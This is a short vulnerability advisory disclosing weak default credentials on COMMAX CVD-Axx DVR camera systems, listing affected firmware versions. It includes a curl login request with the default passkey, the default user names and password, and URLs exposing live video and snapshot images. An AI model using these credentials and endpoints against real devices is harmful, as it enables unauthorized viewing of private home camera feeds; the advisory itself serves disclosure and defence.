COMMAX CVD-Axx DVR 5.1.4 Weak Default Credentials Stream Disclosure Vendor: COMMAX Co., Ltd. Prodcut web page: https://www.commax.com Affected version: CVD-AH04 DVR 4.4.1 CVD-AF04 DVR 4.4.1 CVD-AH16 DVR 5.1.4 CVD-AF16 DVR 4.4.1 CVD-AF08 DVR 5.1.2 CVD-AH08 DVR 5.1.2 Summary: COMMAX offers a wide range of proven AHD CCTV systems to meet customer needs and convenience in single or multi-family homes. Desc: The web control panel uses weak set of default administrative credentials that can be easily guessed in remote password attacks and disclose RTSP stream. Tested on: Boa/0.94.14rc19 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5667 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5667.php 02.08.2021 -- Login: $ curl -X POST http://192.168.1.2/cgi-bin/websetup.cgi -d="passkey=1234" HTTP/1.1 200 OK Date: Mon, 16 Aug 2021 01:04:52 GMT Server: Boa/0.94.14rc19 Accept-Ranges: bytes Connection: close IE (ActiveX) web player: http://192.168.1.2/web_viewer2.html Snapshots: http://192.168.1.2/images/snapshot-01.jpg http://192.168.1.2/images/snapshot-02.jpg http://192.168.1.2/images/snapshot-nn.jpg Creds: Users: ADMIN,USER1,USER2,USER3 Password: 1234